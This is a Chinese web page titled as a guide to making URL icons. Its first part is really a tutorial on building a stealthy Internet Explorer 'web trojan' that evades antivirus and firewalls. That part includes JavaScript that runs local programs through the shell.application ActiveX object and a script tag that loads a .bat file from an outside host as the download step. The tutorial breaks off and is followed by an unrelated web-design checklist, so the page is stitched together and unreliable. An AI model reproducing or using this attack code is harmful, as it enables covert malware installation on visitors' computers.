如何制作网页URL的图标(Icon)

　　一：可以躲过杀毒软件的追杀；

　　二：可以避开网络防火墙的报警；

　　三：能够适用于多数的ＷＩＮＤＯＷＳ操作系统（主要包括ＷＩＮ９８、ＷＩＮＭＥ、ＷＩＮ２０００、ＷＩＮＸＰ、ＷＩＮ２００３）中的多数ＩＥ版本（主要包括ＩＥ５．０、ＩＥ５．５、ＩＥ６．０），最好能打倒ＳＰ补丁；

　　四：让浏览者不容易发觉ＩＥ变化，即可以悄无声息，从而可以长久不被发现。
　　（注意以上四点只是指网页本身而言，但不包括你的木马程序，也就是说我们的网页木马只是负责运行指定的木马程序，至于你的木马程序的好坏只有你自己去选择啦！别找我要，我不会写的哦！）

　　满足以上四点我想才可以让你的马儿更青春更长久，跑的更欢更快……

　　看了上面的几点你是不是心动拉？别急，我们还是先侃侃现有的各种ＩＥ网页木马的不足吧！

　　第一种：利用古老的MIME漏洞的ＩＥ网页木马这种木马现在还在流行，但因为此漏洞太过古老且适用的ＩＥ版本较少，而当时影响又太大，补丁差不多都补上啦，因此这种木马的种植成功率比较低。

　　第二种：利用com.ms.activeX.ActiveXComponent漏洞，结合ＷＳＨ及ＦＳＯ控件的ＩＥ网页木马虽然com.ms.activeX.ActiveXComponent漏洞广泛存在于多数ＩＥ版本中，是一个比较好的漏洞，利用价值非常高，但却因为它结合了流行的病毒调用的ＷＳＨ及ＦＳＯ控件，使其虽说可以避开网络防火墙的报警，可逃不脱杀毒软件的追捕（如诺顿）。

　　第三种：利用OBJECT对象类型确认漏洞（Ｏｂｊｅｃｔ　Ｄａｔａ　Ｒｅｍｏｔｅ）并结合ＷＳＨ及ＦＳＯ控件的ＩＥ网页木马（典型的代表有动鲨网页木马生成器）

　　此种木马最大的优点是适应的ＩＥ版本多，且漏洞较新，但却有如下不足：

　　１、因为此漏洞要调用Mshta.exe来访问网络下载木马程序，所以会引起防火墙报警（如天网防火墙）；

　　２、如果此ＩＥ网页木马又利用了ＷＳＨ及ＦＳＯ控件，同样逃不脱杀毒软件的追捕（如诺顿），而动鲨网页木马又恰恰使用了ＷＳＨ及ＦＳＯ控件，叹口气……可惜呀……？

　　３、再有就是这个漏洞需要网页服务器支持动态网页如ＡＳＰ、ＪＳＰ、ＣＧＩ等，这就影响了它的发挥，毕竟现在的免费稳定的动态网页空间是少之又少；虽说此漏洞也可利用邮件ＭＩＭＥ的形式（见我在安全焦点上发表的文章：《由错误MIME漏洞的利用想到的......---IE Object Data 数据远程执行漏洞的利用》http://www.xfocus.net/articles/200309/607.html）来利用，但经测试发现对ＩＥ６．０不起作用。

　　看到上面的分析你是不是有了这种感觉：千军易得，一将难求，马儿成群，奈何千里马难寻！别急，下面让我带这大家一起打造我心中的完美ＩＥ网页木马。

　　首先要躲过杀毒软件的追杀，我们就不能利用ＷＳＨ和ＦＳＯ控件，因为只要利用了ＷＳＨ和ＦＳＯ控件就一定逃不脱“诺顿”的追杀，这可叫我们该如何是好？！别急，经过我的努力工作（说真的我也是在研究ＡＳＰ木马时偶然发现的灵感）终于我有找到了一个可以用的控件，那就是shell.application，并且它可是经过了安全认证的，可以在“我的电脑”域中的网页中畅通无阻的执行，比ＷＳＨ和ＦＳＯ更容易得到执行权限（利用跨域漏洞即可），请看下面javascript代码：

＜SCRIPT LANGUAGE="javascript" type="text/javascript"＞
var shell=new ActiveXObject("shell.application");
shell.namespace("c:\Windows\").items().item("Notepad.exe").invokeverb();
＜/SCRIPT＞

　　保存为test.htm后打开看是否自动打开了记事本程序，而且不会象ＷＳＨ和ＦＳＯ那样出现是否允许运行的提示框，是不是有点兴趣啦？现在我们已可以运行所有已知路径的程序，但我们要求运行我们自己的木马程序，所以还要求把我们的木马程序下载到浏览者的电脑上并找出它的位置。我们一个个来解决：

　　１、下载木马程序到浏览者的电脑中

　　这一点可以有很多解决方法，比如我以前提到的ＷＩＮＤＯＷＳ帮助文件访问协议下载任意文件漏洞（its:），不过这次我们不用它，再教大家两个更好的下载方法：

　　例一：利用SCRIPT标签，代码如下：

＜SCRIPT LANGUAGE="icyfoxlovelace" src="http://www.godog.y365.com/wodemuma/icyfox.bat"＞＜/SCRIPT＞

1、检查标题。
2、检查版权信息，尤其是电话号码。
3、图片、文件定位问题。
4、产品页面首页指向产品类别问题。
5、文章页面首页指向文章类别问题。
6、产品图片大小控制问题。
7、反馈单信箱问题。
8、CSS表问题
   文字间距
   文字大小
   文字缩进
   行距
   文字颜色
   链接
   左右上下边距问题
9、产品参数介绍、特殊要求
10、列表主题字数限制
11、所在经过ASP输出的html都应该处理一下，应该保证其大小限定在一个范围。
12、产品分类问题。如何分类，分类如何显示。
13、中文网页只可设为 GB2312 Encoding
14、在所见即所有的网页编辑器中不要按太多的 Space 及 Enter 键，要控制文字或物件的位置，请采用其本身的参数或配合表格、清单和预设格式标记的使用。
  
15、不要让你的一行或一段太长，特别是文字式网页，不妨加上显眼的标题或适当的插图，精彩的文章亦　要包装，能既精彩又能留住读者才算上乘。

16、不要使用的属性
    align=center  改为   <center></center>
    <font>        改为   CSS样式
    <B>    改为  <strong>

17.网页的版权声明有三种显示方法，第一是当作一般文字显示于浏览画面，第二是利用说明标记 <!-- Copyright -->，第三是利用 <META> 标记。 

18、在没有内容的情况下，要保证页面不变形。增加了内容也不能变形。   
   
19、在网页中，两个并行的栏目，第一行必须必须位于同一水平线上。

20、两行文字显示，若该两行文字不属于同一栏目，则不行隔得太近，缩进必须一致。 

21、两个栏目之间最好要有明显的分隔标志。

22、同一个栏目中CSS最好保证一致。